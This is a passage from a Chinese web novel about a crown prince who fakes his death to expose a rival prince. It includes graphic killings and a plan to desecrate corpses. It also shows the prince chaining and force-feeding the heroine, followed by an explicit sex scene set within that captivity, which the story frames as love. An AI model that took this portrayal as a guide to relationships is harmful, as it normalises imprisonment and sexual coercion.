“冷刃在本王身边多年,这点信任还是有的。不过不去断崖查查,本王也不放心,这样吧,冷刃,就你带着两个手下去查看吧,不要惊动人。”
冷刃眸光一动,黑夜里看不出他的神情,只见他点头道:“是!王爷。”
他人消失,北辰晔的眸光愈发的深邃,递给了旁边的鬼灵一个眼神。
“你也去。记住,别让冷刃发现了。”
不是他不信冷刃,他只是不敢试错。
上次落入北辰景之手,就是因为棋错一步!
虽然北辰景今夜的确是坠入了断崖,但这个人,阴得很,比起他的城府也是不遑多让,他不得不防。
不见到尸体,他是不信北辰景**。
鬼灵意味深长一笑,身影瞬间消失在了这个黑夜!
第131章 太子怕是回不来了!
皇宫。
半夜时分,本该是这宫墙内最静寂之时。
此刻的帝王寝殿景和宫里,却是灯火通明,紧接着,还传出了帝王的怒吼!
“什么叫做,太子不见了!”
北寅焱头发披散,身上穿着松垮的龙袍,显然是刚被惊醒的。
他凤眼凌冽,带着帝王的震怒和威压,对着跪了一地的宫人厉声吼道。
“到底怎么回事!说,说啊!”
殿中所有宫人都不敢抬头。
周福宁跪在最前面,擦着额前的汗,声音磕磕绊绊:“陛、陛下,今夜巡城军在城内发现了异动,追去京郊山林,在断崖上发现了不少血迹和打斗痕迹。经查实,这才知道,太子在断崖……失踪了。”
哪里只是失踪。
可“坠崖”那两个字,周福宁不敢说啊!
整个寝殿瞬间死一般的沉寂。
北寅焱的眼神,倏地变得幽冷和犀利,一脚将周福宁踹翻!
“巡城军呢,都是废物吗!都去给朕找,去找啊!”他失声怒吼着,可那震得梁柱都好似在晃动的吼声里,却是带着微微的颤音。
“陛下放心,都已经去了,陛下,一定会有太子的消息的……”
说着安抚的话,可谁心里都跟明镜似的。
那可是断崖啊,当真坠了下去,人还会活着吗?怕是找到了,也是只有一块块的**!
“不,朕也要去找,亲自去找朕的景儿……”
北寅焱大步上前,可刚走没几步,身子就一个晃动,差点晕了过去。
西越帝的身子一向康健,可见今夜的打击有多大。
“陛下!”
这时外面响起一道声音:“夜王殿下到!”
下一刻,许久未出现在人前的夜王身影,便从外大步而来,和周福宁一起,及时搀扶住了北寅焱。
“父皇,您没事吧?您可要保重龙体啊。”
听到父皇二字,北寅焱第一个想到的是北辰景,神色恍惚地抬头:“景儿……”
可一想起,北辰景是不会这样唤他,这才看清是北辰晔,帝王眼底里的光芒,瞬间被一抹失落替代。
“是晔儿啊。”
帝王的声音听着没什么多余的起伏。
好像他们两父子,并没有几个月没见。
上次北辰晔挪用户部公银的事,到底还是让北寅焱对他失望了。
北辰晔却像是没看到北寅焱的神色一般,把他搀扶到龙椅上坐下。
宫灯下,他的脸上带着满满的关怀,可阴沟鼻下的阴影,却是越发的深了。
就仿佛,他一直是北辰景阴影下的毒虫,只有北辰景不在了,才敢真正的出现在人前,出现在那光影之下。
“父皇,儿臣已经听说了太子的事,您放心,儿臣已经传消息给了在城外的驻军,都在朝着断崖去了。”北辰晔神色严肃认真地说,“太子在外多年都无事,福大命大,怎会今夜就出事了呢,定会无事的。”
听着他的话语,北寅焱才算是抬头看来。
眼前的这个儿子,是在太子回宫之前,最备受北寅焱看重的皇子,他也一直在培养他。
他之所以如此失望,便是因为,最初的期望太大。
可是现在北寅焱又在想,自己对北辰晔是不是太严苛了,若是太冷淡,反而对太子不利。若是有晔儿的协助和拥护,成为太子的左膀右臂,太子既少了一个对手,而后的登位之路,也会更加的平坦。
“嗯,还是晔儿深得朕心。”北寅焱似乎这才看到北辰晔脸上的伤,“之前朕听说你染了毒疮病症,久居在府中不常出门,现在可否恢复了?”
北辰晔一副受宠若惊的样子,又十分惶恐:“父皇,儿臣无事了。让父皇担心,是儿臣的不是。”
他还是和以前一样的小心翼翼,生怕自己在父皇跟前做错了什么。
却不知,有些时候,过犹不及。
北寅焱虽是喜欢听话的皇子,但也会觉得过于的小心谨慎,会太小家子气。
到底不是正统出身啊。
北寅焱在心头叹气。
即便是那时候太子不在时,他也始终在权衡着,最后景儿当真不回宫,是否要让北辰晔继位的事。
此刻将北辰晔的反应尽收眼底,北寅焱微阖凤眸:“当初,是朕对你太严厉了,今后,你要好好在朝辅佐太子,别让朕失望,明白吗?”
这句话,是敲打,也是提前的警告。
北寅焱培养他是为了辅佐太子这件事,并非今日才说
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。从太子还未回来时起,北寅焱便有这个意思了。
只是那时候,北辰晔觉得太子回来就是不可能的事,所以没放在心上。
后来才得知,那个早已见过的谢景愿,便是自己苦心寻找,想除掉的人,更是后悔当初没在江州就把他给一刀斩了。
犹记得太子回宫之时,北辰晔给自己设下一个置之死地的局,激怒父皇,准备前往沧州蛰伏。
却不想,杀出了个太子。
后来,还被那北辰景囚禁在密室半年之久!
不过,此刻北辰晔的心中是多么的愤恨和不甘,脸上就表现的多么的平静,但也会适时露出一丝失落,缓解北寅焱的怀疑。
毕竟天子怎会这么容易轻信,一个皇子会没有夺位之心。
但仅仅是那一瞬,很快失落就变成了释怀,最后一脸正色拱手。
“是,父皇放心,儿臣一定协助巡城军找到太子。”
果真见北寅焱的脸色缓和了些,对他露出了满意的笑意。
北辰晔的伪装并非今日才有,这么多年来,他温和仁厚的形象,早已刻画在宫内每个人的心中。
有了夜王的安抚和劝慰,北寅焱放心了不少。
西越帝其实就是看着年轻,但身子早已是大不如前了。
他揉着疼痛的眉心,对着北辰晔摆摆手:“不必顾着朕,去找太子吧,一定把太子找回来,知道了吗!”
回来吗?
怕是不会回来了!
北辰晔离开了帝王寝殿,脸上的温和早已被黑暗腐蚀殆尽。
他回头,看着身后硕大的“景和宫”殿名。
连寝殿都是这个“景”字!
这让他如何甘心!
即便早就知道,这个皇位,便是西越帝给太子留的,他也要争,要夺,不惜任何代价!
父皇啊父皇,你可真疼惜这个太子啊。可惜了,这一次,让你失望了。
太子在京郊断崖失踪之事,如风卷残云一般,在京城传开。
数千士兵们一夜的寻觅,却是一无所获。
当然一无所获了。
因为断崖下的“尸体”,早已经被夜王的人带走。
夜王府。
破晓的光影下,地上正躺着两个人,身体用白布盖着。
第132章 崖下的两具尸体
冷刃跪在地上:“王爷!太子和那女人的尸体,已经在这了!”
北辰晔从暗光里走出,递给鬼灵一个眼神。
鬼灵当即上前,掀开白布。
这一看,饶是见惯各种场面的他,此刻也有些被这一幕给恶心到了。
两个人掉下去时,估计是脑袋着地,大半个头颅都是碎的,还能看到破碎迸射出的脑浆残余……
虽然大致的脸看不清,但还是能从仅存的五官,以及身量,和那一模一样的衣着看出,这的确是太子和沈木兮。
况且……
鬼灵检查完,怪笑一声,凑到北辰晔耳边低声说:“王爷,属下亲眼看到冷刃在断崖下找到的尸首,不会有错的。”
他一路尾随,若是冷刃有异心,早就发现了。
北辰晔冷笑一声,走到那两具已经残缺不全的尸体跟前,摩挲着手上的玉扳指,低头凝视着说。
“北辰景啊,还是你输了。”
只可惜啊,死是**,没等到他匍匐跪在自己跟前的那一日!
北辰晔到底是还觉得心有不爽。
随后他又笑了,眼神诡谲。
“到底是一家人,本王怎舍得太子这样死去?来人啊,把这具尸体绑起来,让他保持着长跪的姿势,在本王府中跪到天荒地老!”
即便是人**,他也要让北辰景对自己俯首称臣!
“王爷,那另一具尸体呢?”鬼灵又问。
倒是忘了这个沈木兮。
北辰晔不屑地瞥了一眼,唇边生出残忍的笑:“北辰景最在意她了,那当然是要当着他的面,把这具尸体一点点毁掉了!”
“可是,她现在的身份是赵家的小姐,这样毁了,若是赵夷发现,怕是要生出事端……”鬼灵还是有些担心的说,“倒不如,卖给赵家一个人才,把尸体还回去,让赵家以为是太子杀的人?”
北辰晔瞪了鬼灵一眼。
鬼灵当即知道自己话多了,王爷不喜欢旁人为他做决定。
北辰晔哼了声,像是早已有了决断:“放心吧,赵家那边,会有人安排的。至于这尸体……”他虽然没在沈木兮手里吃过多少亏,但看着这个女人,和北辰景一样,让人骇人得很。
不亲自将她尸体毁了,他实在不放心。
再说,把尸体送回赵家,栽赃给太子,虽是给解一时之气,但赵夷不是好糊弄的,自然是要釜底抽薪来的更妙!
偌大王府里,男人的疯狂大笑声,萦绕在整个上空,久久不绝!
等到赵家得知沈木兮失踪时,已经是天色大亮。
是小愿最先发现了不对劲,找到了赵若岚。她知道,在赵家,赵夷事多顾不到,真正待小姐好的人,就是赵若岚。
赵若岚一听说出了事,赶紧来到沈木兮的房中。
不想有人已经先到了。
“呀,大哥,你看,我说昨夜小七没回来吧,果真没人。”
赵夷已经被李氏先请来了。
赵若岚一看就不妙,但已经迟了。
李氏:“呀,那好像还有一封信。”
李氏走了过去,将信纸拿过来,上面的字是沈木兮的,歪歪扭扭。是她的字样。
看到里面的内容,李氏脸色大变。
“大哥,这……你看!”
赵夷凝眸大步走来,看了一眼,神色忽地变了。
信上的话不多,只有一句。
‘对不起赵老将军,我不是真正的薛小七,是我骗了你。’
赵若岚也跟着过来了,一看上面的内容,她呼吸都骤停了。
但是却不意外。
赵夷本不信这什么信的,却注意到了身侧赵若岚的古怪反应,他老眼一眯。
“若岚,告诉我,你是不是早就知道了些什么?”
那日的事,赵夷虽然是选择相信了沈木兮,但到底是让赵夷心中生出了猜忌。
更别说此刻,赵若岚那副“早已知晓”的神情!
“父亲,我……”赵若岚欲言又止,最后还是道了出来,“父亲,小七是个好孩子,您也是看到了的。即便她不是我们赵家的骨血,那又怎样?再说,我本也打算收她为义女的。”
“荒谬!”赵夷登时怒了,将那信揉成一团,拍桌怒吼,“血脉之事,怎能如此随意!”
赵若岚还想劝说:“父亲,您听我说……”
“什么都别说了!我不想听!”
赵若岚知道,父亲还是最在意这些的。也不怪赵夷的反应太大。当初那些胡乱来赵家认亲的人,已经一次次耗费掉了赵家的精力。
没想到,又来了一出假身份。
刚生出的希望落空,这让赵夷如何能接受?除了是无法接受外,赵夷更多的是觉得愧疚故去的发妻。
看着瞬间像是又苍老了十岁的父亲,赵若岚心中叹息,又追了过去。
“父亲,父亲!”
赵夷终究是被气走了。
李氏在旁边看热闹不嫌事大说:“哎呀若岚,你说你也真是。拿个假身份的丫头来糊弄你父亲,他能不生气吗?是不是,你和那薛清早就认识,私下联系过了,这才……”
赵若岚眸子一瞪,眼中的凌冽之色瞬间让李氏闭了嘴:
“二婶,是我和外人有联系,还是你和外人?若非看在父亲一直想全家和睦的份上,又不想污了故去二叔的名声。你觉得你外头的那些破事,还藏得住吗!”
李氏脸色陡然一变,脖子都缩了起来。
赵若岚懒得和她废话,带着小愿关上屋门,把李氏挡在了外头!
她不信沈木兮就这样离开,定是出了什么事。
“小愿,把你家小姐的事都细细告诉我。还有她和太子之间,是不是早就认识?”
小愿不敢再隐瞒了,但她知道的也不多,只把小姐在青州被太子带回京的事,后来又被官兵追杀的人一一说了。
“大小姐,我们小小姐定是出了意外,她不会走的。”小愿跪在地上哭着说,
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“即便要走,她也不会如此随意。”
也不会只留这简单的字样。
赵若岚神色肃然,安抚她说:“放心,我知道的。”
可是现在太子那边也出了意外,听说陛下因为这件事,还病了。
赵若岚总觉得,在这整件事情里,隐藏着什么更大的阴谋。
且这个阴谋,还牵连到了赵家的人。
回想着这几日无比跳脱的李氏,赵若岚思量间,余光突然瞥到了角落里的什么东西,眼神一变。
“那是什么……”
将军府里不消停,宫里也是乱作一团。
因为巡城军没在断崖下发现太子的人,消息传回后,北寅焱一时间撑不住,竟直接病倒了。
偌大的国事无人照管,太子又失踪,便有臣子上奏,由夜王北辰晔出来暂管。
西越帝子嗣不多,成年皇子里算是优秀的也寥寥无几,除了夜王,没有更合适的人选。
说是暂管,但朝野间不知,若太子这次真的回不来了,这个江山,怕就真是夜王的了!
也有那种见风向不对的墙头草,已经提议让夜王入住东宫了。
可这些,都被夜王连连拒绝。
夜王的意思是:太子的尸体没被找到,便还有希望,如今父皇犹在,怎有他接替的道理?
便直接把朝政之事,交给了内阁打理。
夜王这番只为江山社稷,毫无私心的推脱,一时让朝野间众人,对他更是追崇和信服。
至此大家都知道,在这个皇城中,销声匿迹已久的夜王,又再次卷土从来了!
一晃眼,便是过了三五日。
依旧是没太子的任何消息,一切都石沉大海。
起初,朝政是还能交给内阁打理,但西越帝身子一日不如一日,国不可一日无君啊。
加上夜王这些年,虽有些过错,但到底是功大于过。
是以,在无数朝臣的推举下,赶鸭子上架,让夜王接手了掌权朝政的事务。
夜王一开始还是有些推拒,但他实在是拗不过群臣。
在这一日的金銮殿上,他只能“无奈”接纳!
忱王站在群臣中,默默看着夜王被群臣围住恭贺,阴郁清冷的眸光没有什么起伏。
夜王也被一众臣子簇拥着,这都还没披上龙袍,此刻倒像是已经成了这金銮殿的主人。
这时,看似一切都尘埃落定的金銮殿外,却是传来急切的脚步声。
“太、太子殿下!他——”
传消息的宫人摔在地上,惊着了整个金銮殿的人。
北辰晔大步走了出来,脸上登时露出了喜色。
“是不是找到太子殿下了?”
应该是说,找到北辰景的尸首了。
这本就是他刻意在今日设下的局。
一直找不到人,父皇定会一直挂念。北辰晔便破釜沉舟!特意在这一日,准备了一具尸体“献”给西越帝!
却没看到,那宫人此刻古怪惊惧的脸色。
第133章 是人还是鬼!
“怎么不说话了,到底是不是找到太子了?还是说,太子已经……”北辰晔当真是做戏的一把好手,明知道是尸体,可脸上的担忧和惊慌,当真是把众人都给骗过去了。
宫人瑟瑟发抖,不敢说话,甚至不敢看去殿门外。
直到北辰晔也发现了什么不对劲时。
一道听着轻缓……却又极其阴冷骇人的低哑笑声,像是从地狱而来,一点点蔓延进了这偌大的金銮大殿!
激得所有人,都打了个冷颤。
“孤不过是出城了几日,怎么就有人相传,孤**?”
竟!竟是——
璀璨的日光里,男人背着光而来,身上绣着祥云紫金花的玄袍,一点点划过地面的琉璃金砖。
暗光下看不清他的脸,只看得到,那歪着头瞧来眼前众人,扬起的可怕阴湿红唇。
像极了恶鬼。
金銮殿中,顿时如死一般的沉寂。
北辰晔的表情,已经绷不住了,瞳孔骤缩。
北辰景!
他,他怎么会!
不可能……
在北辰晔还在大惊中时,那看起来可怕阴森,却又高贵的身影,已经走到了他的跟前。还是和以前一样,那副鬼气森森的感觉,不说话,只是一昧歪着头对他笑。
他好像是在欣赏,也是在享受着,被他**和操控着所有人的此情此景。
北辰景满意地笑了,负手缓缓俯身,凑到北辰晔的跟前,两人的脸相隔毫厘时,他才轻声说:“夜王看到孤,好像很意外啊。”
“也是,若是不让你以为孤死掉了,藏匿在暗处的恶心毒虫,又怎会自己冒出来呢?”
北辰晔面色大变,一阵阵缩动,瞬间布满血丝的瞳孔都要炸开了,紧攥的双手青筋暴起!
他已经知道这是发生了什么事!
那一夜,北辰景和沈木兮的确是着了自己的道。
可就在知道的那一刻,北辰景就已经想好了下一步,他是故意的引诱他,让北辰晔以为自己成功了。
然后等着他主动出现!
不然,以夜王的谨慎,京城这么大,他爪牙又多,还不知会躲到何时才会冒出头来!
“夜王怎么不说话了?不过,被人当个傻子一般**,是个人都会生气的。”北辰景抬手,冷笑拍了拍夜王的肩头,随后扬声,“这几日,真是辛苦夜王了,不过孤已经回来了,接下来,就不用夜王帮孤继续劳心劳神。”
说话间,北辰景抬头,阴冷笑着,把所有人的脸色都尽收眼底。
有因他出现而惊喜和激动的。
但大多数都是震惊和害怕……
每看一个人,北辰景唇边的笑便越发的大,最后,他目光落在了一直不为所动的忱王身上,一瞬的停留后,他朝外做了个手势。
很快,几个人已经被他的人,架到了殿中。
北辰晔一眼认出,那几个是自己安插在巡城军里的人。
其中一个,还是巡城军的副首领。
而这些,都是北辰晔这些年来辛苦布下的心腹!
北辰景踩着琉璃金砖,一一从那几人跟前踏过,每一步,不仅仅是踩在这些人的背脊上,还有殿中的其他人。
他指尖勾起其中一人的惨白的脸。
“孤出京几日,却被人追杀,后来才知道,竟是巡城军里的人。”
他叹了口气。
“可惜……孤也不想杀了你,但你想杀了孤啊。”
说着他脸上笑意一滞,手中一个用力,那人的脖子,就已经被生生拧断了!
人倒下的瞬间,他眸中生出一抹病态享受。
这一幕!吓得金銮殿中的人倒吸一口气,皆是屏息敛声。
北辰景接过离阙递来的绢帕,擦着手上的脏污,眉头向众人一挑,弧度冷艳,又带着强大的压迫感。
“接下来这几个人,又该如何处罚呢?”
其他人看到同伴的死状,纷纷都看去了此刻眼神里淬毒的北辰晔。
“救救我啊,夜——!”
就在那名副首领想求救时,呲的一声,他
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已经被人一刀刺进心口。
他震惊地看着面前对自己出手的夜王,眼中写满大惊和不可置信!
北辰晔收回刀,将那染血的刀刃丢回给旁边的禁卫军。
他此刻神色已经恢复,看着北辰景的方向:“这些人,竟敢谋害太子,当真是死不足惜,别脏了太子的手。”
说完北辰晔甩袍,单膝跪在地上,做着恭迎的姿势。
“臣等,恭迎太子回宫!”
储君也是君,只要储君在位一日,那尔等便只能是臣!
此话一出,金銮殿种的众臣子,也跟着跪在地上,声音颤抖,一同齐声跪拜。
“恭迎太子回宫!”
北辰景站在背光处,负手盯着夜王的方向,幽幽的笑了。
真不愧是夜王啊,能屈能伸。
这番,他倒是不好直接对他出手了。
也罢,今日他突然归来,斩断了夜王的皇帝梦,还折断他不少羽翼,已经够夜王吃一壶了。
对手嘛,自然是要慢慢折磨才过瘾。
直接**,倒是可惜。
随着男人唇边逐渐扬起的阴冷弧度。
刺骨的冷风拂过巍峨宫墙殿宇,卷起他的拖长袍摆,一点点朝着皇城外席卷而去!
……
等北辰景从宫中回来时,已经是一个多时辰后了。
清鸢在路上遇到回来的北辰景,当即跪下行礼,她手中还端着一个托盘。
上面是一些精致的饭菜,看样子是要去给谁送去。
北辰景过了眼那托盘,先前在人前时阴湿算计狐狸眸,此刻却像是变得要温柔了许多,直接把托盘拿了过去:“给孤吧。”
清鸢一凛,颔首退下。
他走到太子府主院,轻轻地抬手推门,生怕是惊吓到了里面的人。
门一开,携着日光抬步走来。
往日明亮的屋子,此刻却是有些幽暗不见天日。
随着他温柔的脚步,阴暗的屋中角落里,仅存的光线下,那被铁链拴着的女人玉足,轻微抖了抖……
第134章 如牲畜一般拴在他身边
在被她携带起铁链声响中,他的身影,已经踩着暗色,一点点来到她的跟前。
“怎么又下床了?”
北辰景如寻常一般,放下手里的托盘,走到了那最阴暗之处,将她横抱而起。
他的眼神温柔极了,泛着朦胧水雾。
可身下女人看他的眼神,却带着极致的惊恐!
将她放回床上后,他还给她整理了一番她因为想偷偷逃跑,摔到地上时,弄得脏乱的衣服。
他没有生气,甚至是笑着的。
好像,一点也没看到,那捆着她双脚的沉重铁链。满心满眼,都是对她的疼惜和关怀。
“阿兮,饿了吗?我喂你可好。”
沈木兮已经两日没好好吃饭了。
她一直不肯吃。
也因此她的脸十分憔悴,双眼微微凹陷,眼下也是带着一片乌青,正眼神充满绝对性警惕的看着他。
看着这个,温柔却又可怕至极的人!
北辰景盯着她清瘦的小脸,仿若没瞧见她眼底的惊惧,手慢条斯理地摩挲着她足踝上被铁链勒出的红痕,那令人发颤的触感,缠得人喘不过气!他微微蹙眉说。
“这几日我在外忙着事,没回来,你定是想我,想到不肯吃饭了吧?”
暗影里的他笑得病态:
“离阙他们也没好好照看你,放心,我会处罚他们的。来,先吃饭。”
“那日的断崖之事,定把你吓坏了,是我不好,我应该提前告诉你,崖下有我们的人。”
夜王没有猜错,北辰景的确留了一手。在那夜发现不对劲时,就已经做好了准备。
坠崖假死,是故意做给他看的。
但陪她赴死的心,绝不作假。
“来,吃下去,好好补一补。”
他坐在床边,固执地要亲自喂她。
勺子凑到她唇边,却被沈木兮用手甩开!
她声音嘶哑极了,几乎已经到了失声的临界点,如喉头带着摩挲的砂石一般:“你别碰我……”
勺子里的饭菜顿时洒了一地。
还洒到了北辰景的身上。
北辰景眼神里的柔光,顿时被一股浓烈的阴湿暗色覆盖。
但很快又消散,他蹲在地上,一点点捡起那些残渣,然后仰着头,湿红着双眼对她说:
“你要听话,我是为了你好,外面的人,会伤害你。”
“我只是在保护你,阿兮。”
只有把她牢牢的关在自己身边,她才不会再乱跑,不会被坏人盯上。
北辰景想伸手触碰她的脸,沈木兮却是抱着头失声大叫了起来。
“你不要,不要碰我!”
她拼命嘶吼着,仿佛她才是那个疯子!
北辰景被她推开,后退踉跄了两步,再看去满地残渣,眼底的诡谲狠戾之气四伏。
她怎么就这么不听话。
不吃饭,身子是不会好的。
北辰景最后一点耐心也被耗尽,眼神里的湿红雾气,尽数消失。
那双眼里,只剩下了一片可怕沉静的死潭!
他直接上前,面无表情地钳制住了她乱动的双手,动作强硬,然后掰开她的嘴,直接一口一口把饭菜逼着喂进了她的嘴里。
动作多么狠戾,声音就多么温柔。
“吃下去,乖,吃下去……不要挣扎,我不想弄疼你。”
沈木兮一开始还在反抗,可在他的掌控中,逐渐失去了力气。
等到见她听话的吃下了所有饭菜,北辰景才露出满意的笑,再看去她时,眼神里已经带上温存缱绻,蹲在地上,亲自给她一点点擦嘴。
被他触碰,沈木兮身子剧烈颤抖,目光已经从方才的警惕,变成了此刻的惊悚和麻木。
但眼中始终是极致的冷漠。
“阿兮,你怨我也好,恨我也罢。即便打翻我为你做的饭菜,将我踩去烂泥中,我也不会生你的气。”
请你给我一点时间。
等我把外界的那些,对你一切不利的人和因素彻底除掉。
我会跪下来,亲自把你想要的自由,尽数还给你。
即便你要我的命,我也会亲自给你。
但现在,还不能让你走。
北辰景给她梳着乱发,强迫她坐好,又给她换了身衣服。
再清理了床上和地上所有的残渣污秽,他俯身吻住她的眉心,这才缓缓离开。
他出去的那一瞬,沈木兮还听到了那久违……又熟悉的落锁声!
她闭上双眼,身子僵硬地倒在了床上。
像是发泄一般,在被褥下拼命嘶吼!
那日在断崖下,他拼死救下她的一幕,还历历在目。
愿意为她付出生命的人,是他。
可把她囚禁在这暗无天日里,像是个牲畜一样,被他拴着铁链的人,也是他!
回想着他方才最后看着她时,阴湿眼中的疼惜和爱护,沈木兮没有半点被保护的感觉,只有一股冰冷刺骨的未知恐惧。
等哭到已经发不出声音来,沈木兮才停了下来。
她知道
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,这样下去是不行的。
不是第一次被他囚禁了。
如今的他,只会比当初变本加厉。
之前他还愿意带自己出去,现在已是不可能的。
她不知道他的耐心何时耗尽。
她只知道,继续这样,她一定会死的。
等到了夜里,北辰景才忙完了事回来。
西越帝得知太子安然归来后,当即就命人请了太子前去。
父子两人说了许久的话。
虽然,都是西越帝一个人在那说道,北辰景一如既往地冷漠不说话。
但为了让夜王心里更气一些,北辰景也愿意陪西越帝做做戏。
是以直到这会儿才回府。
清鸢在主院屋门外守了许久,看到太子回来,上前道:“殿下,太子妃今日突然安静了许多,也没有乱折腾动弹了,像是真的乖乖听话了。”
北辰景眼里的冷刀子摄来,惊得清鸢一哆嗦。
“只有孤能说她听话,你算什么东西,能说道她的一二?滚下去,自己掌嘴领罚。”
清鸢脸色苍白,不敢再出声,赶紧下去了。
北辰景打开门时,已瞬息间又换了副神情,仿佛方才的那个在人前,狐狸冷眸翻涌戾气的人不是他。
不过当真如清鸢所说,沈木兮不再折腾,竟真的乖乖坐在了床头,看样子,竟像是还在等他。
北辰景幽暗的眼底划过一丝不敢置信,但依旧带着警惕。
她一向不乖的。
他不信她会突然听话。
不过他还是快步来到床前,眼神里泛着水雾惊喜说:“阿兮,你在等我吗?”
伴随着刺耳的铁链声响,沈木兮缓缓站起身,对他轻轻一笑。
“嗯,让我来给殿下更衣。”
北辰景却是按住了她的手,不悦蹙眉:“你不用在我身前如此卑微。”
“我只要你心甘情愿。”
沈木兮没说话,只是笑,抱住了他的肩,将脸贴靠在他的锁骨处。
“今夜,殿下可以好好陪我吗?”
北辰景抓住她朝自己腹下伸去的手,居高临下看来的倨傲眸中,带着高位者冷傲又绝病态的审视。
好似,她若只是为了蒙骗他,又在想变着法儿的离开。
那抓着柔荑她的大掌,会毫不迟疑,抚上她的脖颈。
他不会真的让她死掉,但会加大力道。
让她在生死间徘徊。
操控着她,真切感受一番,离开他,就是这样生不如死的滋味。
第135章 他会一点点……喂饱她
“阿兮,你可知,自己在做什么吗。”他眸光幽幽地盯着她问。
沈木兮已经一点点褪下了身上的衣衫。
一层又一层,黑暗光影下,他那觊觎了整个少年时光的玉体,就这样毫无遮掩,呈现在了他的眼前。
北辰景瞳孔里多了其他的东西,眼尾泛红的弧度妖冶得惊人,轻轻颤动,带着蓄势之前的最后宁静,却还是没有动作。
直到沈木兮褪下最后一层,只剩下那条拴着她足踝的铁链。
她缓缓跪伏在地上,抬起头:“殿下,你想要吗?”
突如其来的乖巧,怎会不让北辰景疑心。
曾经为了品尝少年时光便觊觎的甘甜,他算计了一次又一次。
布下了一年多的巨网,才把她成功骗了回来。
那今夜,她,当真甘愿?
北辰景审视间,沈木兮已经朝着他腹下的方向,一点点仰起雪白颈项,准备为他解下那阻隔两人的最后一层束缚……
在她准备下一步动作时,却被北辰景一把横抱而起!
“不用你如此,我来。”
他带着她,大步朝主院后面走去。
若非北辰景带她前来,她也不知,在这一墙之隔后,有着一个修缮在幽闭空间里的温泉池。
里面什么都有,好似早已准备好了。
就是为了这一刻。
这一幕,让沈木兮眼神一动,喉头又是一紧。但她什么也没做,由着他抱着她。
空寂的空间里,就只剩下她足踝下铁链在地上摩擦出的拖拽声,刺耳又尖锐。
这条铁链,很长,可以供她在整个主院里随意走动。
是自由,也是禁锢。
他没有带她直接进入池中,而是把她放在台阶上,像是在端详一件独属于他的珍品,指尖一边勾勒着她的身体轮廓,开始循序渐进。
从勾起她的发丝,到掌控那片浑圆,再到……
沈木兮已经做好准备,但那一刻,她还是本能的想躲开。
可乱动的双腿却被他牢牢固定住,指腹已经开始来回拨动,带起沈木兮的周身颤栗。以及愈发强烈的铁链声响。
直到被他的玉指彻底攻陷。
汩汩潺流,在温泉池里漾开……
沈木兮的身子开始蜷缩,那种耻辱感和被他牵制出的欲望,一点点在她水眸中蔓延。
北辰景看着她从一开始的被迫,到现在主动的迎合,甚至还乖乖为他抵开了双膝。
直到她脸上浮现出了红潮,浑身浸满香汗。
他满意地看着台阶岸边上她的反应,眼神偏执又带着蛊惑。
“等不及了?好啊,说你想要,快说,说给我听。”
他含弄着她的雪色丰盈,眼神从温柔变得疯戾,直至她的大脑一片空白。
沈木兮身子颤抖,乖巧极了:“我想……要。”
“大声点,说要,要我。”
“要……”她蜷缩着身子,羞怯的说。
知道她已经等不及了,他可不想让她饿坏。
池水翻涌,他已经抱起她,把她架在了池壁上。
撕下他疯狼的最后一层伪装的那一刻,沈木兮浑身被撞的猛地一个震颤,捂住嘴,差点哭出声音来。
整个密闭的温泉池中,她的哭声低吟,只有北辰景一人可闻。
是他的独享。
两人几乎到了痴迷的纠缠……
随着汩汩泉流,一点点在池中漾出水纹,逐渐加剧,永无休止。
……
也不知过了多久。
直到被架在他腰腹上的沈木兮,紧紧抱住他的双肩,哭着求他放过。
他才肯消停。
但他犹觉得不餍足,怎会满足呢?那可是充斥了整个年少时期的梦。可还不能现在就吃尽了她,他要好好把她留着,慢慢享用。
有时候,他都在想。
她那么喜欢跑,那不如悄然改变一切,让两人的关系,更加紧密。趁着她还不觉时,让她不得不留下。
北辰景眼神落在水下娇软在他怀中的女人身上,紧盯着她的小腹。
已经在幻想着,在那里留下两人的结晶。
那以后,她便再也甩不掉和他的关系,他们会永远……永远的在一起。
可是,他好脏啊。
他的出身,是北辰景自己都嫌恶的存在,又怎能玷污了她呢?
再说,她始终不肯承认要给他名分,若她只犹当他是她的弟弟,那孩子出世,又该如何唤他?
这是个很苦恼的问题。
北辰景眼中的属于饿狼的暗涌,已经随着方才最后的发泄彻底消失,此刻只剩下了湿红委屈,在那狐狸眼中徘徊不去。
“阿兮,你让我拿你怎么办才好?”
“但今日,我会先放过你。”
他俯身,朝着累得昏沉过去的沈木兮眉心落下一吻。
夜,越来越深。
和彻夜无眠的太子
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府一样,此刻的夜王府里,也是灯火通明。
北辰晔坐在太师椅上,冷静的喝着茶。
到底是夜王,即便今日在北辰景那吃了那么大的一个闷亏,也依旧稳得住。
外面,鞭打声阵阵。
带起了一片又一片的血粒子。
很快,鬼灵走了进来,禀报说:“王爷,冷刃已经晕死过去了。”
北辰晔抬起继续狰狞的眼眸:“弄醒他,继续审问!”
该死的北辰景,居然又被他摆了一道。
让他在群臣中丢尽了脸面!
“王爷,属下觉得,若是要对付太子,还是得从那个女人入手。”鬼灵说。
北辰晔瞪去他:“哼,难道本王不是这样做的吗?”
鬼灵当即跪下道。
“王爷息怒,王爷先前从太子的软肋入手,让那女人和太子离心,的确是个狠招。但对于现在的局势,并非个万全之策。”
北辰晔缓缓坐直身子,已经明白了鬼灵的话,眯眼道。
“你的意思是,本王要再狠一点。”
是啊,既然北辰景还活着,那个女人,肯定也没死。
鬼灵笑着点头:“王爷英明。”
北辰晔俯身,拍着鬼灵的脸:“不错,深得本王的心。”
“好了,本王知道了,都下去吧,本王今夜还有要紧事要办。”
鬼灵等人退下后,他又做了个手势。
很快,有人送来了一个东西。
那东西放在托盘上,是一个瓷瓶。
北辰晔收下瓷瓶,笼上崭新的外袍。
等再次出现时,已经在皇宫中。
暗夜下的皇宫,比白日里显得更为幽静肃穆。
北辰晔一看就是私下来的,走的还是小道,并没有引起宫中人的注意。
待他驻足在宫道良久后。
另一抹倩影,缓缓从前方出现。
是一个容貌隐在暗夜里,穿着清雅高贵的年轻女人,在一个岔路口处,她停下了步子,然后对身边的宫人说。
“都下去吧。”
“是,娘娘。”
女人朝着这边走来。
蛰伏在这的北辰晔,突然冒出身来,一把大力捂住她的嘴!
女人瞳孔大掌,吓得惊呼。
等被男人拖拽到旁边的假山后,她却是一改先前的惊恐,娇嗔地拍了拍男人的胸脯,靠在他怀中压低声音说:“夜王怎么才来,我还以为你不来了呢……”
第136章 阿兮,再吃一口好不好
月色映亮北辰晔的半张脸,他一样是笑着的,一改在人前的故作高姿态,此刻柔情蜜意,还狠狠掐了女人的纤腰一把。
“怎么会呢,本王忘了谁,也不会忘了娘娘。”
女人疼得忍不住娇吟了声,好像瞬间就软在了北辰晔的怀中。
